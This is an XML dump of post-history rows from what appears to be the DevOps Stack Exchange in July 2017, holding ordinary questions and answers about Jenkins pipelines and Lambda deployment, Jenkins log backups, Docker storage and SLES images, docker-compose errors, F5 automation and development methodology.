  <row Id="4769" PostHistoryTypeId="2" PostId="1471" RevisionGUID="3631600c-3fcd-42f8-b53a-f4b66d358481" CreationDate="2017-07-03T11:39:03.393" UserId="3361" Text="I found the solution while trying to manually deploy the Lambda function as a jar file. These are the steps -&#xD;&#xA;&#xD;&#xA; - Create your Lambda function as a Maven project using the [AWS documentation](http://docs.aws.amazon.com/lambda/latest/dg/java-create-jar-pkg-maven-no-ide.html).&#xD;&#xA; - Create your Jenkins job as a Maven project and specify `package` in the goals section.&#xD;&#xA; - Follow the Jenkins Lambda plugin [documentation](https://wiki.jenkins.io/display/JENKINS/AWS+Lambda+Plugin) for deployment and specify `target/your-project-1.0-SNAPSHOT.jar` as the Artifact location.&#xD;&#xA;&#xD;&#xA;This should build your Lambda function with Maven and then deploy it to AWS.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4771" PostHistoryTypeId="2" PostId="1473" RevisionGUID="1a4b09cd-8a95-4db2-98c1-105f552f8481" CreationDate="2017-07-03T14:16:25.413" UserId="2689" Text="I am looking for a way to run a java process in background using Jenkins declarative pipeline. Below is the snippet of code&#xD;&#xA;&#xD;&#xA;    stage('Deploy'){&#xD;&#xA;            steps{&#xD;&#xA;                script{&#xD;&#xA;                    withEnv(['BUILD_ID=dontkill']) {&#xD;&#xA;                        sh &quot;nohup java -jar test-0.0.1-SNAPSHOT.war &amp;&quot;&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Already aware of ProcessTreeKiller of Jenkins and every answer suggest to do the same. I have tried using environment inside the steps block with no luck.&#xD;&#xA;&#xD;&#xA;Jenkins version : 2.60.1&#xD;&#xA;&#xD;&#xA;Pipeline plugin : 1.1.7&#xD;&#xA;&#xD;&#xA;Any help is greatly appreciated." ContentLicense="CC BY-SA 3.0" />
  <row Id="4772" PostHistoryTypeId="1" PostId="1473" RevisionGUID="1a4b09cd-8a95-4db2-98c1-105f552f8481" CreationDate="2017-07-03T14:16:25.413" UserId="2689" Text="Running a background process in Pipeline job" ContentLicense="CC BY-SA 3.0" />
  <row Id="4773" PostHistoryTypeId="3" PostId="1473" RevisionGUID="1a4b09cd-8a95-4db2-98c1-105f552f8481" CreationDate="2017-07-03T14:16:25.413" UserId="2689" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4777" PostHistoryTypeId="2" PostId="1474" RevisionGUID="446a5ede-6250-49e2-a706-6a3fb65b63d5" CreationDate="2017-07-03T17:20:03.897" UserId="736" Text="I'm looking to automatically back up Jenkins log files for all jobs running on our master and slaves once a week, moving them to aws' s3 and deleting them from their respective directories when done. &#xD;&#xA;&#xD;&#xA;My question is, is there an existing plugin that has the capabilities I need, or will I need to do this manually?&#xD;&#xA;&#xD;&#xA;I've found the [Periodic Backup Plugin][1] but it only seems to back up locally, and is focused on config files, not log files (although I could use negative pathing to ignore everything but log files...which would be a massive pain). Likewise, [ThinBackup][2] is also config-only. I'm hoping someone might have seen something googling isn't turning up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/PeriodicBackup+Plugin&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/thinBackup" ContentLicense="CC BY-SA 3.0" />
  <row Id="4778" PostHistoryTypeId="1" PostId="1474" RevisionGUID="446a5ede-6250-49e2-a706-6a3fb65b63d5" CreationDate="2017-07-03T17:20:03.897" UserId="736" Text="Backup Jenkins log files to external cloud storage" ContentLicense="CC BY-SA 3.0" />
  <row Id="4779" PostHistoryTypeId="3" PostId="1474" RevisionGUID="446a5ede-6250-49e2-a706-6a3fb65b63d5" CreationDate="2017-07-03T17:20:03.897" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4780" PostHistoryTypeId="2" PostId="1475" RevisionGUID="e56aef23-f4fe-4afb-9f80-dd7466d1998d" CreationDate="2017-07-03T17:21:01.750" UserId="86" Text="I've recently started working for a company that wants to break their monolithic SaaS application up into containerized microservices. I'm having a hard time grasping a fundamental part of persistent storage, though. Why are there so many different competing platforms? Portworx, Rexray, StorageOS, Flocker, Inifint, etc.&#xD;&#xA;&#xD;&#xA;**My Questions**&#xD;&#xA;&#xD;&#xA;1. Why wouldn't someone simply spin up an NFS server and use a hierarchical folder structure there as their storage backend? What gains do you get when using one of these tools? &#xD;&#xA;&#xD;&#xA;2. How dangerous is it to use something like this with Docker? What are the common causes for catastrophic data loss in a docker-based environment?&#xD;&#xA;&#xD;&#xA;3. What persistent storage solution would you recommend and why? My company operates a SaaS platform. The data payloads are small in size (5kb-100kb). Data processing is small-medium in resource consumption. Overall volume is medium, but continues to grow. We're hoping to completely move our monolithic application to the cloud as separate containerized microservices. Including our data warehouse. &#xD;&#xA;&#xD;&#xA;4. Somewhat unrelated, but it ties in. What are the strengths of using Kubernetes as an orchestrator as opposed to Rancher/Cattle? Isn't Kubernetes over-engineered for a small-medium sized platform? Are there any strengths to using Kubernetes in Rancher aside from the one-click installation? &#xD;&#xA;&#xD;&#xA;*Thank you for the insight. Sorry for the naivety. I welcome all documentation and supplemental reading material.*" ContentLicense="CC BY-SA 3.0" />
  <row Id="4781" PostHistoryTypeId="1" PostId="1475" RevisionGUID="e56aef23-f4fe-4afb-9f80-dd7466d1998d" CreationDate="2017-07-03T17:21:01.750" UserId="86" Text="Persistent Storage with Docker in Production - Which Solution and Why?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4782" PostHistoryTypeId="3" PostId="1475" RevisionGUID="e56aef23-f4fe-4afb-9f80-dd7466d1998d" CreationDate="2017-07-03T17:21:01.750" UserId="86" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;storage&gt;&lt;data&gt;&lt;data-protection&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4783" PostHistoryTypeId="5" PostId="1475" RevisionGUID="0f59cc65-d611-4ac2-84a9-086d945f0c17" CreationDate="2017-07-03T18:01:13.473" UserId="86" Comment="added 74 characters in body" Text="I've recently started working for a company that wants to break their monolithic SaaS application up into containerized microservices. I'm having a hard time grasping a fundamental part of persistent storage, though. Why are there so many different competing platforms? Portworx, Rexray, StorageOS, Flocker, Inifint, etc.&#xD;&#xA;&#xD;&#xA;**My Questions**&#xD;&#xA;&#xD;&#xA;1. Why wouldn't someone simply spin up an NFS server and use a hierarchical folder structure there as their storage backend? What gains do you get when using one of these tools? &#xD;&#xA;&#xD;&#xA;2. How dangerous is it to use something like this with Docker? What are the common causes for catastrophic data loss in a docker-based environment?&#xD;&#xA;&#xD;&#xA;3. What persistent storage solution would you recommend and why? My company operates a SaaS platform. The data payloads are small in size (5kb-100kb). Data processing is small-medium in resource consumption. Overall volume is medium, but continues to grow. We're hoping to completely move our monolithic application to the cloud as separate containerized microservices. Including our data warehouse. &#xD;&#xA;&#xD;&#xA;4. Somewhat unrelated, but it ties in. What are the strengths of using Kubernetes as an orchestrator as opposed to Rancher/Cattle? Isn't Kubernetes over-engineered for a small-medium sized platform? Are there any strengths to using Kubernetes in Rancher aside from the one-click installation? &#xD;&#xA;&#xD;&#xA;*Thank you for the insight. Sorry for the naivety. I welcome all documentation and supplemental reading material.*&#xD;&#xA;&#xD;&#xA;EDIT: For context we are using Azure as our underlying Cloud platform." ContentLicense="CC BY-SA 3.0" />
  <row Id="4784" PostHistoryTypeId="2" PostId="1476" RevisionGUID="5afa885a-44bb-42e0-a7b3-10e9053b13f1" CreationDate="2017-07-03T18:19:04.867" UserId="707" Text="To use a dockerized SLES, you need to use an official base image and run it on a SLES host. &#xD;&#xA;&#xD;&#xA;But this does not seem to work out of the box - what needs to be done to build a custom image?&#xD;&#xA;&#xD;&#xA;Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM suse/sles12:latest&#xD;&#xA;    RUN zypper ref -s&#xD;&#xA;    RUN zypper --gpg-auto-import-keys ref -s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Docker build output - image will be created but obviously it is not possible to install any packages because the central repo seems to be not preconfigured.&#xD;&#xA;&#xD;&#xA;Vendor documentation: https://www.suse.com/documentation/sles-12/book_sles_docker/data/customizing_pre-build_images.html&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon  3.584kB&#xD;&#xA;    Step 1/3 : FROM suse/sles12:latest&#xD;&#xA;     ---&gt; d0f7e807658b&#xD;&#xA;    Step 2/3 : RUN zypper ref -s&#xD;&#xA;     ---&gt; Running in 235316f5bbe1&#xD;&#xA;    Refreshing service 'container-suseconnect'.&#xD;&#xA;    Problem retrieving the repository index file for service 'container-suseconnect':&#xD;&#xA;    [container-suseconnect|file:/usr/lib/zypp/plugins/services/container-suseconnect]&#xD;&#xA;    Warning: Skipping service 'container-suseconnect' because of the above error.&#xD;&#xA;    All services have been refreshed.&#xD;&#xA;    Warning: There are no enabled repositories defined.&#xD;&#xA;    Use 'zypper addrepo' or 'zypper modifyrepo' commands to add or enable repositories.&#xD;&#xA;     ---&gt; 21e8beb32227&#xD;&#xA;    Removing intermediate container 235316f5bbe1&#xD;&#xA;    Step 3/3 : RUN zypper --gpg-auto-import-keys ref -s&#xD;&#xA;     ---&gt; Running in 72ba1ad22da8&#xD;&#xA;    Refreshing service 'container-suseconnect'.&#xD;&#xA;    Warning: Skipping service 'container-suseconnect' because of the above error.&#xD;&#xA;    All services have been refreshed.&#xD;&#xA;    Warning: There are no enabled repositories defined.&#xD;&#xA;    Use 'zypper addrepo' or 'zypper modifyrepo' commands to add or enable repositories.&#xD;&#xA;    Problem retrieving the repository index file for service 'container-suseconnect':&#xD;&#xA;    [container-suseconnect|file:/usr/lib/zypp/plugins/services/container-suseconnect]&#xD;&#xA;     ---&gt; 6426e55c2d87&#xD;&#xA;    Removing intermediate container 72ba1ad22da8&#xD;&#xA;    Successfully built 6426e55c2d87&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4785" PostHistoryTypeId="1" PostId="1476" RevisionGUID="5afa885a-44bb-42e0-a7b3-10e9053b13f1" CreationDate="2017-07-03T18:19:04.867" UserId="707" Text="How to make custom SLES (SuSe Linux Enterprise) Dockerfiles?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4786" PostHistoryTypeId="3" PostId="1476" RevisionGUID="5afa885a-44bb-42e0-a7b3-10e9053b13f1" CreationDate="2017-07-03T18:19:04.867" UserId="707" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4787" PostHistoryTypeId="2" PostId="1477" RevisionGUID="979d079e-847b-4d24-8070-dd04f5349375" CreationDate="2017-07-04T07:44:58.000" UserId="3377" Text="You can have conditionals in your declarative pipeline by using the **when**-block inside a stage. There is a plugin called &quot;environment injector&quot; which lets you set variables outside of the pipeline-script which is nice. Also if you put the step below the other steps, it won't execute if they fail.&#xD;&#xA;&#xD;&#xA;     when {&#xD;&#xA;        environment name: 'pushArtifact', value: 'true'&#xD;&#xA;      }&#xD;&#xA;      steps{&#xD;&#xA;         //push artifact  &#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4794" PostHistoryTypeId="2" PostId="1480" RevisionGUID="59cf95e6-e8e6-414e-b301-4834198c7dce" CreationDate="2017-07-04T17:15:24.257" UserId="707" Text="What's wrong with the following spec? (Image parameter is here to tag resulting image).&#xD;&#xA;&#xD;&#xA;version: '3'&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;       foo:&#xD;&#xA;          build:&#xD;&#xA;             image: foo/bar&#xD;&#xA;             dockerfile: Dockerfile&#xD;&#xA;             context: .&#xD;&#xA;&#xD;&#xA;System output:&#xD;&#xA;&#xD;&#xA;    services.foo.build contains unsupported option: 'image'&#xD;&#xA;&#xD;&#xA;*Versions: docker-compose: 1.14.0; Docker: 17.06.0-ce*" ContentLicense="CC BY-SA 3.0" />
  <row Id="4795" PostHistoryTypeId="1" PostId="1480" RevisionGUID="59cf95e6-e8e6-414e-b301-4834198c7dce" CreationDate="2017-07-04T17:15:24.257" UserId="707" Text="Error with docker-compose - image not supported?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4796" PostHistoryTypeId="3" PostId="1480" RevisionGUID="59cf95e6-e8e6-414e-b301-4834198c7dce" CreationDate="2017-07-04T17:15:24.257" UserId="707" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4797" PostHistoryTypeId="2" PostId="1481" RevisionGUID="60209331-5d94-4990-8c0e-cd76b3ff3c32" CreationDate="2017-07-05T00:28:06.097" UserId="3390" Text="Historically, I approached this a bit differently. I added a post-build step to each job, and had it copy the output to S3 at execution time via the S3 plugin.  [This blog post](https://vnextcoder.wordpress.com/2016/10/25/part-3-storing-jenkins-output-to-aws-s3-bucket/) covers the moving parts n a pretty granular detail. &#xD;&#xA;&#xD;&#xA;You may want to reference &#xD;&#xA;&gt; wget -O console-output.log ${BUILD_URL}consoleText &#xD;&#xA;&#xD;&#xA;as the output for the job in question in your build task. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4798" PostHistoryTypeId="2" PostId="1482" RevisionGUID="f5fe09eb-bc2d-49de-b957-29303b8d7daa" CreationDate="2017-07-05T00:31:55.623" UserId="3390" Text="“Image” needs to be at the same level as “build”." ContentLicense="CC BY-SA 3.0" />
  <row Id="4799" PostHistoryTypeId="5" PostId="1419" RevisionGUID="72b071b5-4468-493d-a8f1-82b6334872a9" CreationDate="2017-07-05T10:20:26.690" UserId="707" Comment="added 136 characters in body" Text="Using Consul, you could allow your teams decentrally deploy and run microservices with dynamic dependencies.&#xD;&#xA;&#xD;&#xA;It is also possible to list the services: `/catalog/service/:service`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, how to assess these dependencies automatically if the architecture grows dynamically to get a visual representation of service inter-dependencies? &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4800" PostHistoryTypeId="2" PostId="1483" RevisionGUID="54d8ffd8-abac-42d7-9141-935e3946ea33" CreationDate="2017-07-05T15:26:14.263" UserId="3399" Text="James, you are correct in that BIG-IQ replaced Enterprise Manager. However, like Enterprise Manager, BIG-IQ is for 'device/feature' management. For integrating via REST APIs directly, or  to 3rd party automation tools/tool-chains, you should look at F5 iWorkflow (programmable/extensible API gateway).&#xD;&#xA;&#xD;&#xA;The team behind iWorkflow are focussed on 'services templates' and 'service catalogs'. These being great ways to rapidly create 'declarative interfaces' that you can hit with single REST calls, versus calling hundreds of 'imperative interfaces' (individual REST end-points) to perform the same task.&#xD;&#xA;&#xD;&#xA;Moving to a declarative model will save you from MANY headaches in the future, and will better support automation, and integration with CI/CD pipe-lines. The LAST thing you want is to move all the nuances of your infrastructure into the automation pipe-line itself!! Abstraction through declarative interface will protect you from that pit of despair.&#xD;&#xA;&#xD;&#xA;With REST+declarative interfaces, you have a much simpler Infrastructure as Code model in that you are only maintaining JSON blobs for the service templates, and not monolithic configuration files. Double-WIN!&#xD;&#xA;&#xD;&#xA;Take a look at calling iApps (F5 services templates) from the REST API. Here's a free on-line training course:&#xD;&#xA;&#xD;&#xA;[http://f5-automation-labs.readthedocs.io/en/latest/][1]&#xD;&#xA;&#xD;&#xA;Chase = Correct! REST all the way!&#xD;&#xA;&#xD;&#xA;  [1]: http://f5-automation-labs.readthedocs.io/en/latest/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4805" PostHistoryTypeId="6" PostId="1418" RevisionGUID="fdfbd164-f58c-42e0-9a12-41c3b628bed4" CreationDate="2017-07-06T02:01:29.787" UserId="739" Comment="add config-mgmt tag" Text="&lt;configuration-management&gt;&lt;load-balance&gt;&lt;f5&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4806" PostHistoryTypeId="24" PostId="1418" RevisionGUID="fdfbd164-f58c-42e0-9a12-41c3b628bed4" CreationDate="2017-07-06T02:01:29.787" Comment="Proposed by 739 approved by 46 edit id of 376" ContentLicense="CC BY-SA 3.0" />
  <row Id="4808" PostHistoryTypeId="2" PostId="1485" RevisionGUID="05c493d8-ad5e-468e-b053-604dd58484ba" CreationDate="2017-07-06T12:22:25.363" UserId="736" Text="Corey's answer ended up inspiring me to take another look at the plugins available, this time considering anything that could be applied to jobs as a post-build step. &#xD;&#xA;&#xD;&#xA;I found [AWS CloudWatch Logs Publisher Plugin][1], which is a post-build step that pushes your logs to CloudWatch. Not quite the destination we originally had in mind, but it worked for us. Easy to configure too! Only downside is it doesn't currently have Pipeline functionality.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/AWS+CloudWatch+Logs+Publisher+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="4809" PostHistoryTypeId="2" PostId="1486" RevisionGUID="522225ac-c332-4e84-860d-25003d4aed9e" CreationDate="2017-07-06T14:50:41.757" UserId="3414" Text="I'm so glad to have this community!&#xD;&#xA;&#xD;&#xA;Apologies for the long post, but I'm not sure how to handle this.&#xD;&#xA;&#xD;&#xA;**Background:**&#xD;&#xA;&#xD;&#xA;Three months ago I was called to do a freelance job for a rather big agency, with 40~50 employees.&#xD;&#xA;&#xD;&#xA;Things were caothic when I got here. The entire development team had been hired by another company one month ago, and there were a lot of overdue jobs. I freelanced here for about three weeks, until they hired me. Since then, I had been working hard to fix things, and there were so many things to do that I had to let go of the process to focus on delivering the software.&#xD;&#xA;&#xD;&#xA;Now, three months later, the dust have finally settled down, and now I'm looking forward to implement good development practices and methodologies, mixing development, deployment and project management.&#xD;&#xA;&#xD;&#xA;**Scenario:**&#xD;&#xA;&#xD;&#xA;We have several different clients, most of them with their own servers. Some of them are really big, with their own infrastructure team. Some of the projects are built in C#, one of them in Python and others in PHP.&#xD;&#xA;&#xD;&#xA;Here in the agency we have a infrastructure team as well, with the possibility to set-up our own internal or external servers to handle things.&#xD;&#xA;&#xD;&#xA;Throughout the day, there might pop up several demands for different clients, and I must deliver them as quick as possible.&#xD;&#xA;&#xD;&#xA;**Conclusion:**&#xD;&#xA;&#xD;&#xA;And that's the problem. I have to deliver things quickly, but I feel a urge to employ a methodology to do it, because I know that if I just keep doing things without proper control, some thing will certainly go wrong sooner than later." ContentLicense="CC BY-SA 3.0" />
  <row Id="4810" PostHistoryTypeId="1" PostId="1486" RevisionGUID="522225ac-c332-4e84-860d-25003d4aed9e" CreationDate="2017-07-06T14:50:41.757" UserId="3414" Text="Methodology for software development and deploy in fast-paced agency" ContentLicense="CC BY-SA 3.0" />
  <row Id="4811" PostHistoryTypeId="3" PostId="1486" RevisionGUID="522225ac-c332-4e84-860d-25003d4aed9e" CreationDate="2017-07-06T14:50:41.757" UserId="3414" Text="&lt;deployment&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4812" PostHistoryTypeId="5" PostId="1486" RevisionGUID="5419e36f-1c7d-4673-9b81-c23ca580dce0" CreationDate="2017-07-06T15:04:59.977" UserId="3414" Comment="deleted 41 characters in body" Text="I'm so glad to have this community!&#xD;&#xA;&#xD;&#xA;Apologies for the long post, but I'm not sure how to handle this.&#xD;&#xA;&#xD;&#xA;**Background:**&#xD;&#xA;&#xD;&#xA;Three months ago I was called to do a freelance job for a rather big agency, with 40~50 employees.&#xD;&#xA;&#xD;&#xA;Things were caothic when I got here. The entire development team had been hired by another company one month ago, and there were a lot of overdue jobs. I freelanced here for about three weeks, until they hired me. Since then, I had been working hard to fix things, and there were so many things to do that I had to let go of the process to focus on delivering the software.&#xD;&#xA;&#xD;&#xA;Now, three months later, the dust have finally settled down, and now I'm looking forward to implement good development practices and methodologies, mixing development, deployment and project management.&#xD;&#xA;&#xD;&#xA;**Scenario:**&#xD;&#xA;&#xD;&#xA;We have several different clients, most of them with their own servers. Some of them are really big, with their own infrastructure team. Projects are in C#, Python and PHP.&#xD;&#xA;&#xD;&#xA;Here in the agency we have a infrastructure team as well, with the possibility to set-up our own internal or external servers to handle things.&#xD;&#xA;&#xD;&#xA;Throughout the day, there might pop up several demands for different clients, and I must deliver them as quick as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion:**&#xD;&#xA;&#xD;&#xA;I have to deliver things quickly, but I feel a urge to employ a methodology to do it, because I know that if I just keep doing things without proper control, some thing will certainly go wrong sooner than later.&#xD;&#xA;&#xD;&#xA;**My two cents:**&#xD;&#xA;&#xD;&#xA;One of the first things I plan to do, is to elect a preferred development language and framework, so we can specialize in something." ContentLicense="CC BY-SA 3.0" />
  <row Id="4813" PostHistoryTypeId="5" PostId="1486" RevisionGUID="60d8da16-fc16-49b5-9268-d35a25a1fa05" CreationDate="2017-07-06T15:12:09.313" UserId="3414" Comment="added 42 characters in body" Text="I'm so glad to have this community!&#xD;&#xA;&#xD;&#xA;Apologies for the long post, but I'm not sure how to handle this.&#xD;&#xA;&#xD;&#xA;**Background:**&#xD;&#xA;&#xD;&#xA;Three months ago I was called to do a freelance job for a rather big agency, with 40~50 employees.&#xD;&#xA;&#xD;&#xA;Things were caothic when I got here. The entire development team had been hired by another company one month ago, and there were a lot of overdue jobs. I freelanced here for about three weeks, until they hired me. Since then, I had been working hard to fix things, and there were so many things to do that I had to let go of the process to focus on delivering the software.&#xD;&#xA;&#xD;&#xA;Now, three months later, the dust have finally settled down, and now I'm looking forward to implement good development practices and methodologies, mixing development, deployment and project management.&#xD;&#xA;&#xD;&#xA;**Scenario:**&#xD;&#xA;&#xD;&#xA;We have several different clients, most of them with their own servers. Some of them are really big, with their own infrastructure team. Projects are in C#, Python and PHP.&#xD;&#xA;&#xD;&#xA;Here in the agency we have a infrastructure team as well, with the possibility to set-up our own internal or external servers to handle things.&#xD;&#xA;&#xD;&#xA;Throughout the day, there might pop up several demands for different clients, and I must deliver them as quick as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion:**&#xD;&#xA;&#xD;&#xA;I have to deliver things quickly, but I feel a urge to employ a methodology to do it, because I know that if I just keep doing things without proper control, some thing will certainly go wrong sooner than later.&#xD;&#xA;&#xD;&#xA;**My two cents:**&#xD;&#xA;&#xD;&#xA;One of the first things I plan to do, is to elect a preferred development language and framework, so we can specialize in something. Other than that, I'm not sure what to do." ContentLicense="CC BY-SA 3.0" />
  <row Id="4814" PostHistoryTypeId="5" PostId="1486" RevisionGUID="0abea9f3-30f5-4526-b487-c5a184c1fe81" CreationDate="2017-07-06T16:31:58.670" UserId="3414" Comment="added 6 characters in body" Text="I'm so glad to have found this community!&#xD;&#xA;&#xD;&#xA;Apologies for the long post, but I'm not sure how to handle this.&#xD;&#xA;&#xD;&#xA;**Background:**&#xD;&#xA;&#xD;&#xA;Three months ago I was called to do a freelance job for a rather big agency, with 40~50 employees.&#xD;&#xA;&#xD;&#xA;Things were caothic when I got here. The entire development team had been hired by another company one month ago, and there were a lot of overdue jobs. I freelanced here for about three weeks, until they hired me. Since then, I had been working hard to fix things, and there were so many things to do that I had to let go of the process to focus on delivering the software.&#xD;&#xA;&#xD;&#xA;Now, three months later, the dust have finally settled down, and now I'm looking forward to implement good development practices and methodologies, mixing development, deployment and project management.&#xD;&#xA;&#xD;&#xA;**Scenario:**&#xD;&#xA;&#xD;&#xA;We have several different clients, most of them with their own servers. Some of them are really big, with their own infrastructure team. Projects are in C#, Python and PHP.&#xD;&#xA;&#xD;&#xA;Here in the agency we have a infrastructure team as well, with the possibility to set-up our own internal or external servers to handle things.&#xD;&#xA;&#xD;&#xA;Throughout the day, there might pop up several demands for different clients, and I must deliver them as quick as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion:**&#xD;&#xA;&#xD;&#xA;I have to deliver things quickly, but I feel a urge to employ a methodology to do it, because I know that if I just keep doing things without proper control, some thing will certainly go wrong sooner than later.&#xD;&#xA;&#xD;&#xA;**My two cents:**&#xD;&#xA;&#xD;&#xA;One of the first things I plan to do, is to elect a preferred development language and framework, so we can specialize in something. Other than that, I'm not sure what to do." ContentLicense="CC BY-SA 3.0" />
  <row Id="4815" PostHistoryTypeId="5" PostId="1486" RevisionGUID="1aa836eb-9dde-460d-97c5-c671b65d2168" CreationDate="2017-07-06T16:41:58.273" UserId="40" Comment="remove noise" Text="**Background:**&#xD;&#xA;&#xD;&#xA;Three months ago I was called to do a freelance job for a rather big agency, with 40~50 employees.&#xD;&#xA;&#xD;&#xA;Things were chaotic when I got here. The entire development team had been hired by another company one month ago, and there were a lot of overdue jobs. I freelanced here for about three weeks, until they hired me. Since then, I had been working hard to fix things, and there were so many things to do that I had to let go of the process to focus on delivering the software.&#xD;&#xA;&#xD;&#xA;Now, three months later, the dust have finally settled down, and now I'm looking forward to implement good development practices and methodologies, mixing development, deployment and project management.&#xD;&#xA;&#xD;&#xA;**Scenario:**&#xD;&#xA;&#xD;&#xA;We have several different clients, most of them with their own servers. Some of them are really big, with their own infrastructure team. Projects are in C#, Python and PHP.&#xD;&#xA;&#xD;&#xA;Here in the agency we have a infrastructure team as well, with the possibility to set-up our own internal or external servers to handle things.&#xD;&#xA;&#xD;&#xA;Throughout the day, there might pop up several demands for different clients, and I must deliver them as quick as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion:**&#xD;&#xA;&#xD;&#xA;I have to deliver things quickly, but I feel a urge to employ a methodology to do it, because I know that if I just keep doing things without proper control, some thing will certainly go wrong sooner than later.&#xD;&#xA;&#xD;&#xA;**My two cents:**&#xD;&#xA;&#xD;&#xA;One of the first things I plan to do, is to elect a preferred development language and framework, so we can specialize in something. Other than that, I'm not sure what to do." ContentLicense="CC BY-SA 3.0" />
  <row Id="4816" PostHistoryTypeId="5" PostId="1486" RevisionGUID="a6e521a3-5ce7-4249-8579-5ff8cc65e1af" CreationDate="2017-07-06T17:15:02.720" UserId="3414" Comment="added 49 characters in body" Text="**Background:**&#xD;&#xA;&#xD;&#xA;Three months ago I was called to do a freelance job for a rather big agency, with 40~50 employees.&#xD;&#xA;&#xD;&#xA;Things were chaotic when I got here. The entire development team had been hired by another company one month ago, and there were a lot of overdue jobs. I freelanced here for about three weeks, until they hired me. Since then, I had been working hard to fix things, and there were so many things to do that I had to let go of the process to focus on delivering the software.&#xD;&#xA;&#xD;&#xA;Now, three months later, the dust have finally settled down, and now I'm looking forward to implement good development practices and methodologies, mixing development, deployment and project management.&#xD;&#xA;&#xD;&#xA;**Scenario:**&#xD;&#xA;&#xD;&#xA;We have several different clients, most of them with their own servers. Some of them have their own infrastructure team to handle their servers. Projects are in different languages, and I have little control over the client's servers.&#xD;&#xA;&#xD;&#xA;Throughout the day, there might pop up several demands for different clients, and I must deliver them as quick as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion:**&#xD;&#xA;&#xD;&#xA;I have to deliver things quickly, but I feel a urge to employ a methodology to do it, because I know that if I just keep doing things without proper control, some thing will certainly go wrong sooner than later.&#xD;&#xA;&#xD;&#xA;**My two cents:**&#xD;&#xA;&#xD;&#xA;One of the first things I plan to do, is to elect a preferred development language and framework, so we can specialize in something. Other than that, I'm not sure what to do." ContentLicense="CC BY-SA 3.0" />
  <row Id="4817" PostHistoryTypeId="2" PostId="1487" RevisionGUID="d8823643-c492-49ce-a78c-ee14b4980465" CreationDate="2017-07-06T19:26:51.177" UserId="2735" Text="I have used 0.9.x Graphite in the past as the basis of my monitoring system, and am trying a fresh install of 1.0.1 prior to upgrading across my systems (Ubuntu, 14.04, though I doubt that matters).&#xD;&#xA;&#xD;&#xA;I appear to have graphite-webapp and carbon-cache running (`supervisorctl` reports both as `RUNNING`, and there are not errors in any logs I can find). I have confirmed by navigating in the server `/opt/graphite/webapp/storage/whisper/` that there is in fact data to display in the first place.&#xD;&#xA;&#xD;&#xA;I am able to access http://localhost:8080 and see the usual graphite webapp header, but the body of the page is blank (where normally I would expect to see the file-browser that lets me choose data on the left, and it graphs the selected data on the right).&#xD;&#xA;&#xD;&#xA;To the best of my knowledge, I have configured graphite as per the installation instructions, but obviously I have done something wrong.&#xD;&#xA;&#xD;&#xA;If there are particular configuration files that would be useful for me to include (which can also server as a debugging path for future people who may have this issue), please comment the files that may help.&#xD;&#xA;&#xD;&#xA;Note to editor: The tag should be &quot;graphite&quot;, probably, but I don't have the rep to tag it correctly." ContentLicense="CC BY-SA 3.0" />
  <row Id="4818" PostHistoryTypeId="1" PostId="1487" RevisionGUID="d8823643-c492-49ce-a78c-ee14b4980465" CreationDate="2017-07-06T19:26:51.177" UserId="2735" Text="Why would graphite-webapp browser not display any body content?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4819" PostHistoryTypeId="3" PostId="1487" RevisionGUID="d8823643-c492-49ce-a78c-ee14b4980465" CreationDate="2017-07-06T19:26:51.177" UserId="2735" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
